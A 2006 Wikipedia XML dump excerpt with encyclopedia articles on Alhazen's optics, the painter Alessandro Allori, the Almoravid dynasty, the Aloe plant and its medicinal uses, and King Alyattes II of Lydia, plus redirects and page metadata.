His seven volume treatise on optics ''Kitab al-Manazir'' (''Book of Optics'') (written from [[1015]] to [[1021]]) is possibly the earliest work to use the [[scientific method]]. The ancient Greeks believed that truth was determined by the logic and beauty of reasoning; experiment was used as a demonstration. Alhazen used the results of experiments to test theories. The &quot;emission&quot; theory of light had been supported by [[Euclid]] and Ptolemy. This theory postulated that sight worked by the eye emitting light. The second or &quot;intromission&quot; theory, supported by [[Aristotle]] had light entering the eye. Alhazen performed experiments to determine that the &quot;intromission&quot; theory was scientifically correct.

''Optics'' was translated into Latin by [[Witelo]] in [[1270]]. It was published by [[Friedrich Risner]] in [[1572]], with the title ''Oticae thesaurus Alhazeni libri VII., cum ejusdem libro de crepusculis et nubium ascensionibus.'' This work enjoyed a great reputation during the [[Middle Ages]]. Works by Alhazen on geometrical subjects were discovered in the [[Bibliothèque nationale]] in [[Paris]] in [[1834]] by E. A. Sedillot. Other manuscripts are preserved in the [[Bodleian Library]] at [[Oxford]] and in the library of [[Leiden]].

==Other Alhazens==
There is another Alhazen who translated [[Ptolemy]]'s ''[[Almagest]]'' in the 10th century.

== Bibliography ==

''Ibn al-Haytham's Optics: A Study of the Origins of Experimental Science,'' by Saleh Beshara Omar (Bibliotheca Islamica, 1977)

==External links==

* {{MacTutor Biography|id=Al-Haytham}}
* http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Al-Haytham.html
* http://www.answers.com/topic/alhazen
* http://encarta.msn.com/encyclopedia_761579452/Alhazen.html 
* http://www.britannica.com/eb/article?eu=5788
* http://www.daviddarling.info/encyclopedia/A/Alhazen.html
* [http://www.islamonline.net/english/Science/2001/08/article11.shtml Alhazen Master of Optics]


[[Category:Arab mathematicians|Alhazen]]
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[[Category:Arab astronomers|Alhazen]]
[[Category:Arab engineers|Alhazen]]
[[Category:965 births|Alhazen]]
[[Category:1040 deaths|Alhazen]]
[[Category:Muslim scientists|Alhazen]]

[[ar:ابن الهيثم]]
[[de:Alhazen]]
[[es:Alhazen]]
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[[ka:იბნ ალ-ჰაისამი]]
[[ms:Abul Wafa Muhammad Al-Buzjani]]
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[[tr:İbn-i Heysem]]</text>
    </revision>
  </page>
  <page>
    <title>Alessandro Allori</title>
    <id>1647</id>
    <revision>
      <id>40694809</id>
      <timestamp>2006-02-22T10:17:13Z</timestamp>
      <contributor>
        <ip>213.170.65.38</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Allori Portrait.jpg|right|thumb|300px|''Portrait of a Woman''  Oil on copper, 37 x 27 cm &lt;br&gt;Galleria degli [[Uffizi]], Florence]]

'''Alessandro di Cristofano di Lorenzo del Bronzino Allori''' ([[May 31]], [[1535]] - [[September 22]], [[1607]]) was an [[Italy|Italian]] portrait [[painter]] of the late [[Mannerism|Mannerist]] [[Florence|Florentine]] school. He was brought up and trained in art by his uncle, [[Angelo Bronzino]], whose name he sometimes assumed in his pictures. Freedburg derides Allori as derivative, claiming  he illustrates &quot;the ideal of Maniera by which art (and style) are generated out of pre-existing art.&quot; The polish of figures has an unnatural marble-like form as if he aimed for cold statuary. Collaborators include [[Giovanni Maria Butteri]], main pupil: [[Giovanni Bizzelli]].

He is the father of [[Cristofano Allori]] ([[1577]]-[[1621]]).

*''Christ and the Samaritan Woman'', (Altarpiece, 1575, [[Santa Maria Novella]], now Prato)
*''Road to Calvary'', (1604, Rome)
*''Dead Christ and Angels'', (Museum Fine Arts, Budapest)[http://www.wga.hu/frames-e.html?/html/a/allori/alessand/]
*''Pearl Fishing'', (1570-72, [[Studiolo of Francesco I (Palazzo Vecchio)]], Florence)[http://www.ocaiw.com/jmpopera.php?id=18012 image]
*''Sussana and the Elders'' , [http://69.20.65.141/art/customer/product.php?productid=23225&amp;cat=1089&amp;page=8&amp;maincat=T]
*''Allegory of Human Life'', [http://www.wga.hu/art/a/allori/alessand/portra2.jpg]
*''The Miracle of St. Peter Walking on Water'',[http://www.wga.hu/art/a/allori/alessand/st_peter.jpg image]
*''Venus and Cupid'', [http://www.wga.hu/art/a/allori/alessand/venus_cu.jpg image]

==References==
{{commonscat}}
*{{1911}}
*''Painting in Italy 1500-1600'', S.J. Freedberg, (Penguin History of Art, 2nd Edition, 1983).

[[Category:1535 births|Allori, Alessandro]]
[[Category:1607 deaths|Allori, Alessandro]]
[[Category:Italian painters|Allori, Alessandro]]
[[Category:Mannerism painters|Allori, Alessandro]]
[[Category:Portrait artists|Allori, Alessandro]]

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[[ru:Аллори, Алесандро]]</text>
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  <page>
    <title>Almohades</title>
    <id>1648</id>
    <revision>
      <id>15900114</id>
      <timestamp>2004-11-01T01:02:36Z</timestamp>
      <contributor>
        <username>SWAdair</username>
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      <comment>#redirect [[Almohad]] -- point to article content instead of creating loop redirect</comment>
      <text xml:space="preserve">#redirect [[Almohad]]</text>
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  <page>
    <title>Almoravides</title>
    <id>1649</id>
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      <id>39062396</id>
      <timestamp>2006-02-10T13:03:12Z</timestamp>
      <contributor>
        <username>DeC</username>
        <id>821904</id>
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      <minor />
      <comment>+ru</comment>
      <text xml:space="preserve">'''Almoravides''' (In [[Arabic language|Arabic]] المرابطون ''al-Murabitun'', sing. مرابط ''Murabit''), is a [[Berber]] dynasty from the [[Sahara]] which, in the [[11th century]], founded the fourth dynasty in [[Morocco]]. Under this dynasty the [[Moorish]] empire was extended over [[Tlemcen]] (in modern [[Algeria]]) and a great part of [[Spain]] and [[Portugal]].  The name is derived from the Arabic ''Murabit'', variously translated as ''religious ascetic'' or ''warrior monk''.

== Beginnings ==
The most powerful of the invading tribes was the [[Lamtuna]] (&quot;veiled men&quot;) from the upper [[Niger River]], whose best-known representatives now are the [[Tuareg]].  They had been converted to [[Islam]] in the early times of the Arab conquest, but their knowledge of Islam did not go much beyond the formula of the [[shahada]] creed---&quot;there is no god but God, and Muhammad is the apostle of God,&quot;--and they were ignorant of the traditions of [[Shariah]], or Islamic law.

== Influence of orthodox Islam ==
About the year 1040 (or a little earlier) one of their chiefs, [[Yahya ibn Ibrahim]], made the [[Hajj|pilgrimage]] to [[Mecca]].  On his way home, he attended the teachers of the mosque at [[Kairouan]], in [[Tunisia]], who soon learnt from him that his people knew little of the religion they were supposed to profess, and that though his will was good, his own ignorance was great.  By the good offices of the theologians of Kairawan, one of whom was from [[Fez, Morocco|Fez]], Yahya was provided with a missionary, [[Abd Allah ibn Yasin]], a zealous partisan of the [[Maliki]]s, one of the four [[Four Schools of Madhhab|Madhhab]]; orthodox legal schools of Islam.

His preaching was before-long rejected by the Lamtunas; so  on the advice of Yahya, who accompanied him, he retired to an island in the [[Niger River]], where he founded a ''[[ribat]]'', or Islamic monastery, from which as a centre his influence spread.  There was no element of [[heresy]] in his creed, which was mainly distinguished by a rigid formalism, and strict obedience to the letter of the [[Qur'an]], and the orthodox tradition or [[Sunnah]].

== Ascendence of Militarism ==
Abd-Allah ibn Yasin imposed a penitential scourging on all converts as a purification, and enforced a regular system of discipline for every breach of the law; even on the chiefs.  Under such directions, the Murabits were brought into excellent order.  Their first military leader, Yahya ibn Ibrahim, gave them a good military organization.  Their main force was infantry, armed with javelins in the front ranks and pikes behind, which formed into a phalanx; and was supported by camelmen and horsemen on the flanks.

== Military Successes ==
From the year [[1053]], the Murabits began to impose their orthodox and puritanical religion on the [[Berber]] tribes of the desert, and on the pagan black Africans. Yahya ibn Ibrahim was killed in a battle in [[1056]], but Abd-Allah ibn Yasin, whose influence as a religious teacher was paramount; named his brother [[Abu-Bakr Ibn-Umar]] as chief.  Under him, the Murabits soon began to spread their power beyond the desert, and subjected the tribes of the [[Atlas Mountains]].  They then came in contact with the [[Berghouata]], a [[Berber]] people of central [[Morocco]], who followed a &quot;heresy&quot; founded by [[Salih ibn Tarif]], three centuries earlier.  The Berghouata made a fierce resistance, and it was in battle with them that Abdullah ibn Yasin was killed. They were, however, completely conquered by Abu Bakr Ibn-Umar, who took the defeated chief's widow, [[Zainab]], as a wife.

In 1061, Abu Bakr Ibn-Umar made a division of the power he had established, handing over the more-settled parts to his cousin [[Yusuf ibn Tashfin]], as viceroy; resigning to him also his favourite wife Zainab, who had the reputation of being a sorceress.  For himself, he reserved the task of suppressing the revolts which had broken out in the desert, but when he returned to resume control, he found his cousin too powerful to be superseded; so he had to go back to the Sahara, where-in [[1087]], he too attained martyrdom, having been wounded with a poisoned arrow, in battle with the pagan black Africans.

=== Morocco and Western Sahara ===
Yusuf ibn Tashfin had in the meantime brought what is now known as [[Morocco]] and the [[Western Sahara]] into complete subjection; and in [[1062]], had founded the city of [[Marrakech]]. In [[1080]], he conquered the kingdom of [[Tlemcen]] (in modern-day [[Algeria]]) and founded the present city of that name, his rule extending as far east as [[Oran]].

=== Ghana ===
In [[1075]], the Almoravides declared &quot;[[jihad]]&quot; (&quot;holy struggle&quot;) on the [[Kingdom of Ghana]]. The ensuing war pushed Ghana over the edge: ceasing the kingdom's position as a commercial and military power by [[1100]], as it collapsed into tribal groups and chieftaincies, some of which later assimilated into the Almoravides.

=== Spain ===
[[Image:Almoravid map reconquest loc.jpg|thumb|250px|Map of Iberia at the time of the Almoravid arrival]]
In [[1086]] Yusuf ibn Tashfin was invited by the Muslim princes in [[Spain]] to defend them against [[Alfonso VI of Castile|Alfonso VI]], King of [[Castile]] and [[Kingdom of León|León]]. In that year, Yusuf ibn Tashfin passed the straits to [[Algeciras]], inflicted a severe defeat on the Christians at the [[Battle of az-Zallaqah|az-Zallaqah]]. He was prevented from following up his victory by trouble in [[Africa]], which he had to settle in person.  

When he returned to Spain in [[1090]], it was avowedly for the purpose of deposing the Muslim princes, and annexing their states. He had in his favour the mass of the inhabitants, whom had been worn out by the oppressive taxation imposed by their spend-thrift rulers. Their religious teachers, as well as others in the east, (most notably, [[al-Ghazali]] in [[Iran|Persia]] and [[al-Tartushi]] in Egypt, who was himself a Spaniard by birth, from [[Tortosa]]), detested the native Muslim princes for their religious indifference, and gave Yusuf a ''[[fatwa]]'' -- or legal opinion -- to the effect that he had good moral and religious right, to dethrone the heterodox rulers, who did not scruple to seek help from the Christians, whose habits they had adopted. By 1094, he had removed them all; and though he regained little from the Christians except [[Valencia]], he re-united the Muslim power, and gave a check to the reconquest of the country by the Christians.

=== The Prince of the Muslims ===
After friendly correspondence with the caliph at [[Baghdad]], whom he acknowledged as ''Amir al-Mu'minin'' (''Prince of the Faithful''), Yusuf ibn Tashfin in [[1097]] assumed the title of ''Amir al Muslimin'' (''Prince of the Muslims''). He died in [[1106]], when he was reputed to have reached the age of 100.

The Murabit power was at its height at Yusuf's death, and the Moorish empire then included all North-West Africa as far as [[Algiers]], and all Spain south of the [[Tagus]], with the east coast as far as the mouth of the [[Ebro]], and included the [[Balearic Islands]].

== Decline ==
Three years afterwards, under Yusef's son and successor, [[Ali ibn Yusuf]], [[Madrid]], [[Lisbon]] and [[Oporto]] were added, and Spain was again invaded in [[1119]] and [[1121]], but the tide had turned; the French having assisted the Aragonese to recover [[Zaragoza]].  In 1138, Ali ibn Yusuf was defeated by [[Alfonso VII of Castile|Alfonso VII of Castile and León]], and in the [[Battle of Ourique]] ([[1139]]), by [[Afonso I of Portugal]], who thereby won his crown; and [[Lisbon]] was recovered by the Portuguese in [[1147]].

Ali ibn Yusuf was a pious non-entity, who fasted and prayed while his empire fell to pieces under the combined action of his Christian foes in [[Spain]] and the agitation of [[Almohades]] (the Muwahhids) in Morocco. After Ali ibn Yusuf's death in [[1142]], his son Tashfin ibn Ali lost ground rapidly before the Almohades, and in 1146 he was killed by a fall from a precipice, while endeavouring to escape after a defeat near [[Oran]].  

His two successors [[Ibrahim ibn Tashfin]] and [[Is'haq ibn Ali]] are mere names. The conquest of the city of Marrakesh by the [[Almohades]] in [[1147]] marked the fall of the dynasty, though fragments of the [[Almoravides]] (the [[Banu Ghanya]]), continued to struggle in the [[Balearic Islands]], and finally in [[Tunisia]].

The amirs of the Almoravides dynasty were as follows:---
*[[Yusuf ibn Tashfin]] (1061-1106)
*[[Ali ibn Yusuf]] (1106-1142)
*[[Tashfin ibn Ali]] (1142-1146)
*[[Ibrahim ibn Tashfin]] (1146)
*[[Ishaq ibn Ali]] (1146-1147)

==See also==
:[[History of Morocco]]
:[[History of Islam]]
:[[History of Spain]]

==External links==
*[http://www.islamicarchitecture.org/dynasties/almoravids.html Almoravids Dynasty] Berber dynasty

==References==
*{{1911}}

{{Template:Zaragoza rulers}}

[[Category:Berber| ]]
[[Category:History of the Maghreb]]
[[Category:History of Mauritania]]
[[Category:History of Morocco]]
[[Category:Moorish Spain]]
[[Category:Jewish Spanish history]]

[[ar:مرابطون]]
[[ca:Almoràvit]]
[[de:Almoraviden]]
[[es:Almorávide]]
[[fr:Almoravides]]
[[nl:Almoraviden]]
[[pt:Almorávidas]]
[[ru:Альморавиды]]
[[sv:Almoravider]]
[[uk:Альморавіди]]</text>
    </revision>
  </page>
  <page>
    <title>Aloe</title>
    <id>1650</id>
    <revision>
      <id>41887302</id>
      <timestamp>2006-03-02T10:48:18Z</timestamp>
      <contributor>
        <username>Nikai</username>
        <id>9759</id>
      </contributor>
      <minor />
      <comment>/* Chemical properties of Aloin */ sp</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}

{{Taxobox
| color = lightgreen
| name = ''Aloe''
| image = Aloevera2web.jpg
| image_width = 250px
| image_caption = ''Aloe vera''
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[monocotyledon|Lilliopsida]]
| subclassis = [[Liliidae]]
| ordo = [[Asparagales]]
| familia = [[Asphodelaceae]]
| genus = '''''Aloe'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
See [[Aloe#Species|Species]]
}}

'''Aloe''' is a [[genus]] of [[succulent plant|succulent]], [[flowering plant]]s in the family [[Asphodelaceae]], which contains about 400 different [[species]]. They are native to the drier parts of [[Africa]], especially [[South Africa]]'s [[Cape Province]] and the mountains of tropical Africa. 

Members of the closely allied genera ''[[Gasteria]]'' and ''[[Haworthia]]'', which have a similar mode of growth, are also sometimes popularly known as aloes. Note that the plant sometimes called &quot;American aloe&quot;, ''Agave americana'', belongs to a different family, namely [[Agavaceae]].  

Aloe plants are stiff and rugged, consisting mainly of a rosette of large, thick, fleshy [[Leaf|leaves]].  Many common varieties of Aloe are seemingly stemless, with the rosette growing directly at ground level;  Other varieties may have a branched or un-branched [[plant stem|stem]] from which the fleshy leaves spring.  The leaves are generally lance-shaped with a sharp apex and a spiny margin.  They vary in color from grey to bright green and are sometimes striped or mottled.  

Aloe [[flower]]s are small, tubular, and yellow or red and are borne on densely clustered, simple or branched leafless stems.  The plants are cultivated as ornamental plants, especially in public buildings and gardens.

==Uses==
Human use of Aloes are primarily as a [[Herbalism|herbal remedy]] in alternative medicines and &quot;home first aid&quot;. Both the translucent inner pulp as well as the resinous yellow exudate from wounding the Aloe plant are used ''externally'' to relieve skin discomforts and ''internally'' as purgatives. To date, research has shown in certain cases that Aloes produce positive medicinal benefits for healing damaged skin, however there is still much debate regarding the effectiveness and safety for using Aloes medicinally in other manners{{citeneeded}}.

Some Aloes have been used for human consumption. For example drinks made from or containing chunks of aloe pulp are popular in Asia as commercial beverages, and as a tea additive. This is notably true in [[Korea]]. As well, the yellow exudate from the leaves were once used on children's fingers to stop nail-biting.

===External uses===
[[Image:Aloe vera leaf.jpg|thumb|Leaf close up]]

The most common uses of aloe vera have been from topical use on human skin to treat various conditions. Aloe vera is also often used to treat skin from burns. Not only does it soothe the skin, ease pain and reduce inflammation, studies have been done to show that using aloe as a topical treatment to burns will help speed up the healing recovery process.  A study performed in the 1990s showed that the healing of a moderate severe burn was sped up by six days when covering the wound on a regular basis with aloe vera gel, compared to the healing of the wound covered in a gauze bandage (Farrar, 2005).  Aloe vera not only helps burns of various degrees, it also has become a common relief aid in treating sunburns.  Aloe vera be found in drugstores in a gel form.  When rubbed over over-exposed skin, the redness will disappear within a couple of days and helps to preserve moisture so that the skin will not become dry and peel.

Aloe vera can also be used to treat minor cuts and scrapes.  Using an aloe vera leaf and rubbing it over a cut will help prevent infection and will speed up the healing response from the body.  The aloe vera acts as a sealant and pulls the skin back together like a bandage or a suture (http://www.newstarget.com/001560-02.html).  Although aloe should not be used as a substitute for medical treatment, its many uses are beneficial and should be considered for anything such as an everyday moisturizer to a first-aid antiseptic.  In addition to the above-mentioned benefits, continuous research is being done to learn how else the aloe vera plant can play an important part in human lives.

Many cosmetic companies are now adding this plant to every product possible including makeup, soaps, sunscreens, shampoos and lotions, as well as any product that is created to soothe, protect and moisturize the skin. This is due partially to the fact that Aloe extract is full of vitamins, nutrients and minerals, as well as, the perception of the general public of Aloe as a healing ingredient. The International Aloe Science Council advises choosing products that contain between twenty-five and forty percent aloe in them to receive the ultimate aloe vera benefits to the skin (http://www.iasc.org/aloe.html). 

Aloe gel is also useful for any dry skin condition, especially [[eczema]] around the eyes and sensitive facial skin, and for treating fungal infections such as ringworm. In [[Ayurvedic]] medicine, the gel is usually applied fresh and can even be converted into an ointment for long-term use.

=== Internal uses ===
[[Image:Aloevera1web.jpg|thumb|right|200px|Aloe vera (flowers)]]
Aloe contains a number of medicinal substances used as a [[purgative]].  The medicinal substance is produced from various species of aloe, such as ''A. vera'', ''A. vulgaris'', ''A. socotrina'', ''A. chinensis'', and ''A. perryi''.  Several kinds of aloes are commercially available: Barbadoes, Socotrine, Hepatic, Indian, and Cape aloes.  Barbadoes and Socotrine are the varieties most commonly used for curative purposes. 

Aloes is the expressed juice of the leaves of the plant.  When the leaves are cut, the juice that flows out is collected and evaporated.  After the juice has been removed, the leaves are sometimes boiled, to yield an inferior kind of aloes. The juice of the leaves of certain species, e.g. ''Aloe venenosa'', is [[poison]]ous.

Aloe vera has been widely marketed as having a number of benefits when taken internally. For example, Aloe has been marketed as a remedy for coughs, wounds, [[ulcer]]s, [[gastritis]], [[diabetes]], [[cancer]], [[headache]]s, [[arthritis]], [[immune-system deficiencies]], and many other conditions.  However, these uses are unproven.  The only substantiated internal use is as a [[laxative]].  Furthermore, there is evidence of significant adverse side effects (see for example [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15633238 this paper]).  Consult your doctor when contemplating taking Aloe internally. Avoid use during pregnancy because the [[anthraquinone]] [[glycoside]]s are strongly [[purgative]]. High doses of the leaves can cause vomiting.

Aloe's benefits include ingesting aloe juice to lower blood sugar levels in diabetes patients.{{citeneeded}}

== Compounds in Aloes ==
Aloe vera contains over seventy-five nutrients and twenty minerals, nineteen amino acids including all eight essential amino acids and eleven secondary amino acids as well and twelve vitamins.  These vitamins include:  A, B1, B6, B12, C and E (http://curezone.com/foods/aloevera.html).  It has even been referred to as “a pharmacy in a plant” (Farrar, 2005). 

Aloes also contain [[anthraquinone gycoside]]s, [[resin]]s, [[polysaccharide]]s, [[sterol]]s, [[gelonin]]s, and [[chromone]]s. It is also a source of a class of chemicals called ''Aloin''s.

=== Chemical properties of Aloin ===
[[Image:Split Aloe.jpg|thumb|right|200px|Split Aloe]]
Aloins are soluble and easily extracted by water. Aloes is the expressed juice of the leaves of the plant.  When the leaves are cut, the juice that flows out is collected and evaporated.  After the juice has been removed, the leaves are sometimes boiled, to yield an inferior kind of aloes. According to W. A. Shenstone, two classes of Aloins are to be recognized: (1) [[nataloin]]s, which yield [[picric acid|picric]] and [[oxalic acid]]s with [[nitric acid]], and do not give a red coloration with nitric acid; and (2) [[barbaloin]]s, which yield [[aloetic acid]] (C&lt;sub&gt;7&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;N&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;), [[chrysammic acid]] (C&lt;sub&gt;7&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;), picric and oxalic acids with nitric acid, being reddened by the acid. This second group may be divided into a-barbaloins, obtained from Barbadoes aloes, and reddened in the cold, and b-barbaloins, obtained from Socotrine and Zanzibar aloes, reddened by ordinary nitric acid only when warmed or by fuming acid in the cold. Nataloin (2C&lt;sub&gt;17&lt;/sub&gt;H&lt;sub&gt;13&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;·H&lt;sub&gt;2&lt;/sub&gt;O) forms bright yellow scales. Barbaloin (C&lt;sub&gt;17&lt;/sub&gt;H&lt;sub&gt;18&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;) forms yellow [[Prism (geometry)|prism]]atic crystals. Aloes also contain a trace of volatile oil, to which its odour is due.

=== Medicinal use of Aloin ===
The dose is 130-320 mg, that of aloin being 30-130 mg.  Aloes can be absorbed from a broken surface and will then cause purging. When given internally it increases the actual amount as well as the rate of flow of the [[bile]]. It hardly affects the [[small intestine]], but markedly stimulates the muscular coat of the [[large intestine]], causing purging in about fifteen hours. There is hardly any increase in the intestinal secretion, the drug being emphatically not a hydragogue cathartic. There is no doubt that its habitual use may be a factor in the formation of haemorrhoids; as in the case of all drugs that act powerfully on the lower part of the intestine, without simultaneously lowering the venous pressure by causing increase of secretion from the bowel. Aloes also tends to increase the menstrual flow and therefore belongs to the group of emmenagogues. Aloin is preferable to aloes for therapeutic purposes, as it causes less, if any, pain. It is a valuable drug in many forms of constipation, as its continual use does not, as a rule, lead to the necessity of enlarging the dose. Its combined action on the bowel and the [[uterus]] is of especial value in chlorosis, of which amenorrhoea is an almost constant symptom. The drug is obviously contraindicated in pregnancy and when haemorrhoids are already present. Many well-known patent medicines consist essentially of aloes.

== Lign-aloes and Agarwood ==
The lign-aloes are quite different from plants of the ''Aloe'' genus. The term &quot;Aloes&quot; is used in the [[Bible]] (Numbers 24:6), but as the trees usually supposed to be meant by this word are not native in [[Syria]], it has been suggested that the [[Septuagint]] reading in which the word does not occur is to be preferred. Lign-aloe is a corruption of the Latin ''lignum-aloe'', a wood, not a resin. [[Dioscorides]] refers to it as ''agallochon'', a wood brought from [[Arabia]] or [[India]], which was odoriferous but with an astringent and bitter taste. This may be ''[[Agarwood]]'', a native of East India, [[South East Asia]], and [[China]], which supplies the so-called eagle-wood or aloes-wood, which contains much resin and oil. 


==[[Species]]==
There are around 400 species in the genus ''Aloe''. For a full list, see [[List of species of genus Aloe]]. Common species include:
*''[[Aloe angelica]]'' - Wylliespoort Aloe
*''[[Aloe arborescens]]'' - Candelabra Aloe, Tree Aloe, Krantz Aloe [[Image:Babosa1.jpg|thumb|right|Candelabra Aloe (''Aloe arborescens'')]]
*''[[Aloe aristata]]'' - Torch Plant, Lace Aloe
*''[[Aloe barberae]]'' - Tree Aloe
*''[[Aloe brevifolia]]'' - Shortleaf Aloe
*''[[Aloe castanea]]'' - Cat's Tail Aloe
*''[[Aloe ciliaris]]'' - Climbing Aloe
*''[[Aloe comosa]]'' - Clanwilliam's Aloe
*''[[Aloe dichotoma]]'' - quiver tree or kokerboom
[[Image:Aloe dichotoma.jpg|thumb|right|Aloe dichotoma (''Aloe dichotoma'')]]
*''[[Aloe dinteri]]'' - Namibian Partridge Breast Aloe
*''[[Aloe distans]]'' - Jeweled Aloe
*''[[Aloe excelsa]]'' - Noble Aloe, Zimbabwe Aloe
*''[[Aloe ferox]]'' - Cape Aloe, Tap Aloe, Bitter Aloe
*''[[Aloe glauca]]'' - Blue Aloe
*''[[Aloe humilis]]'' - Spider Aloe
*''[[Aloe khamiensis]]'' - Namaqua Aloe
*''[[Aloe longistyla]]'' - Karoo Aloe, Ramenas
*''[[Aloe maculata]]'' - Soap Aloe, Zebra Aloe
*''[[Aloe mitriformis]]'' - Gold Tooth Aloe
*''[[Aloe nobilis]]'' - Gold Tooth Aloe
*''[[Aloe perryi]]'' - Perry's Aloe
*''[[Aloe pictifolia]]'' - Kouga Aloe
*''[[Aloe pillansii]]'' - Bastard Quiver Tree
*''[[Aloe plicatilis]]'' - Fan Aloe
*''[[Aloe polyphylla]]'' - Spiral Aloe
*''[[Aloe pratensis]]'' - Rosette Aloe
*''[[Aloe ramosissima]]'' - Maidens Quiver Tree
*''[[Aloe saponaria]]'' - African Aloe
*''[[Aloe speciosa]]'' - Tilt-head Aloe
*''[[Aloe striata]]'' - Coral Aloe
*''[[Aloe tauri]]'' - Bullocks Bottle Brush Aloe
*''[[Aloe variegata]]'' - Partridge-breasted Aloe, Tiger Aloe
*''Aloe vera'' - True Aloe, Barbados Aloe, Common Aloe, Yellow Aloe, Medicinal Aloe
* ''[[Aloe zebrina]]'' - Zebra Aloe
;Hybrids
* ''Aloe x spinosissima'' - Gold-tooth Aloe
&lt;gallery&gt;
Image:Aloe aristata.jpg|Aloe aristata
Image:Aloe vera flower bud.jpg|Flower bud of Aloe Vera 
Image:Aloe Vera flower.jpg|Aloe Vera flower
Image:Aloe Vera.jpg
&lt;/gallery&gt;

==Heraldry==
The aloe plant occurs as a charge in [[heraldry]].

==References==
*News Target:  http://www.newstarget.com/001560-02.html
*International Aloe Science Council:  http://www.iasc.org/aloe.html 
*University of Maryland Medical Center: http://www.umm.edu/altmed/ConsHerbs/Aloech.html
*Craig, Winston.  “The All-purpose Gel,” Vibrant Life; July 2001.
*Farrar, Maureen Meyers.  “Skin Deep,”  Better Nutrition; July 2005.
*http://curezone.com/foods/aloevera.html

== External links ==
{{commons|Aloe}}
* [http://www.aloeverabenefits.com/what-is-in-aloe-vera.html What is in Aloe Vera?] &quot;Inside the leaf of the medicinal herb&quot; 
* [http://www.henriettesherbal.com/eclectic/kings/aloe.html Aloe vera] &quot;King's American Dispensatory&quot;
* [http://www.botanical.com/botanical/mgmh/a/aloes027.html Aloe] &quot;A Modern Herbal&quot; 
* [http://www.herbmed.org/herbs/herb3.htm Aloe vera] HerbMed
* [http://www.aloeverabenefits.com/aloe-vera-plant.html Aloe Vera Plant] &quot;Detailed history of the Aloe Vera plant&quot;
* [http://www.best-home-remedies.com/herbal_medicine/herbs/aloe.htm Aloe Herb - Uses And Side Effects]
* [http://www.mcp.edu/herbal/aloe/aloe.pdf Aloe vera] (pdf) Longwood Herbal Task Force
* [http://www.aloeverabenefits.com/is-aloe-vera-useful-in.html Is Aloe Vera useful in treating sickness?] &quot;Recent research findings on its medicinal uses&quot;
* [http://www.homeoint.org/books3/kentmm/aloe.htm Aloe (aloe)] &quot;Kent's Lectures on Homeopathic Materia Medica&quot;
* [http://www.homeoint.org/books5/allenprimer/aloe.htm Aloe] &quot;A Primer of Materia Medica for practitioners of Homoeopathy&quot;
* [http://www.foreverliving.com Forever Living Products(FLP)]World's Largest Aloe Vera Distributor
* [http://www.aloesajten.com/benefits-of-aloe-vera-juice.php Benefits of Aloe Vera Juice]

[[Category:Liliopsida]]
[[Category:Medicinal plants]]
[[de:Aloen]]
[[es:Aloe]]
[[fr:Aloès]]
[[id:Lidah Buaya]]
[[it:Aloe (botanica)]]
[[he:אלוורה]]
[[hu:Aloe vera]]
[[ms:Lidah buaya]]
[[ja:アロエ]]
[[pl:Aloes]]
[[zh:芦荟]]</text>
    </revision>
  </page>
  <page>
    <title>Alured of Berkeley</title>
    <id>1651</id>
    <revision>
      <id>15900117</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Alured of Beverley]]
</text>
    </revision>
  </page>
  <page>
    <title>Alyattes II</title>
    <id>1652</id>
    <revision>
      <id>30700370</id>
      <timestamp>2005-12-09T10:45:35Z</timestamp>
      <contributor>
        <username>Dimadick</username>
        <id>24198</id>
      </contributor>
      <comment>Added link to his daughter</comment>
      <text xml:space="preserve">'''Alyattes II''', king of [[Lydia]] ([[619 BC|619]]-[[560 BC]]), the real founder of the [[Lydian empire]], was the son of [[Sadyattes]], of the house of the [[Mermnadae]].  

For several years he continued the war against [[Miletus]] begun by his father, but was obliged to turn his attention to the [[Medes]] and [[Babylonians]]. On [[May 28]], [[585 BC]], during a battle on the [[Halys]] against [[Cyaxares]], king of Media, a [[solar eclipse]] took place (see also [[Thales]]); hostilities were suspended, peace concluded, and the Halys fixed as the boundary between the two kingdoms.

Alyattes drove the [[Cimmeria|Cimmerii]] (see [[Scythia]]) from [[Asia]], subdued the [[Carians]], and took several [[Ionia]]n cities ([[Izmir|Smyrna]], [[Colophon]]).  ([[Izmir|Smyrna]] was sacked and destroyed c.[[600 BC]], the inhabitants forced to move to the country.)

He standardised the weight of coins (1 Stater = 168 grains of wheat). The coins were produced using an anvil die technique and stamped with the Lion's head, the symbol of the Mermnadae.

He was succeeded by his son [[Croesus]]. His daughter [[Aryenis of Lydia]] was [[Queen consort]] of [[Astyages]], King of Media.

His tomb still exists on the plateau between Lake Gygaea and the river Hermus to the north of [[Sardis]] -- a large mound of earth with a substructure of huge stones.  It was excavated by [[Spiegelthal]] in [[1854]], who found that it covered a large vault of finely-cut marble blocks approached by a flat-roofed passage of the same stone from the south.  The [[sarcophagus]] and its contents had been removed by early plunderers of the tomb, all that was left being some broken alabaster vases, pottery and charcoal. On the summit of the mound were large [[phallus|phalli]] of stone. 

==References==
*{{1911}}

==External links==
*[http://www.livius.org Livius], [http://www.livius.org/men-mh/mermnads/alyattes.html Alyattes of Lydia] by Jona Lendering

[[Category:560 BC deaths]]
[[Category:Kings of Lydia]]

[[de:Alyattes]]
[[nl:Alyattes II]]
[[nb:Alyattes]]
[[sl:Aliat II.]]</text>
    </revision>
  </page>
  <page>
    <title>Age of consent</title>
    <id>1653</id>
    <revision>
      <id>42146388</id>
      <timestamp>2006-03-04T03:08:08Z</timestamp>
      <contributor>
        <ip>86.132.136.211</ip>
      </contributor>
